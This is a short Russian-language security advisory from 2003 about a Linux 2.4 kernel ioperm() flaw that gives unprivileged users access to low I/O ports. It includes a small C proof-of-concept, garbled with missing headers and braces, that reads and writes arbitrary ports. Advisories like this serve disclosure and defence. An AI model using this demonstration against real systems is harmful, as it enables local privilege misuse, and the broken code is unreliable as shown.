Security Lab

Уязвимость в ioperm() позволяет локальному пользователю обращаться к привилегированным I/O портам

Дата публикации:19.05.2003
Всего просмотров:1220
Опасность:
Низкая
Наличие исправления: Нет
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Локальная
Воздействие: Повышение привилегий
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: Linux Kernel 2.4.x
Описание: Уязвимость обнаружена в Linux 2.4 ядре в 'ioperm' системном вызове. Локальный пользователь может получить доступ к I/O портам на системе.

Сообщается, что локальный пользователь может получить доступ на чтение и запись к привилегированным I/O портам (например, к портам 1023 и ниже). Пример - программа позволяет непривилегированному пользователю читать и записывать в I/O порты с адресом ниже 0x3ff (1023):

#include 
#include 
#include 

int main(int argc, char **argv)
 
         if (argc < 2) {
                 (void) fprintf(stderr, "Usage: %s PORT [VALUE]\n", argv[0]);
                 return (2);
         }

         if (ioperm(1023, 1, 0) == -1) {
                 perror("ioperm");
                 return (1);
         }

         if (argc < 3) {
                 (void) printf("0x%02x\n", inb(atoi(argv[1])));
         } else {
                 outb(atoi(argv[2]), atoi(argv[1]));
         }

         return (0);
Уязвимость обнаружена в 2.4, prior to 2.4.21-rc2
Ссылки: Security vulnerability in "ioperm" system call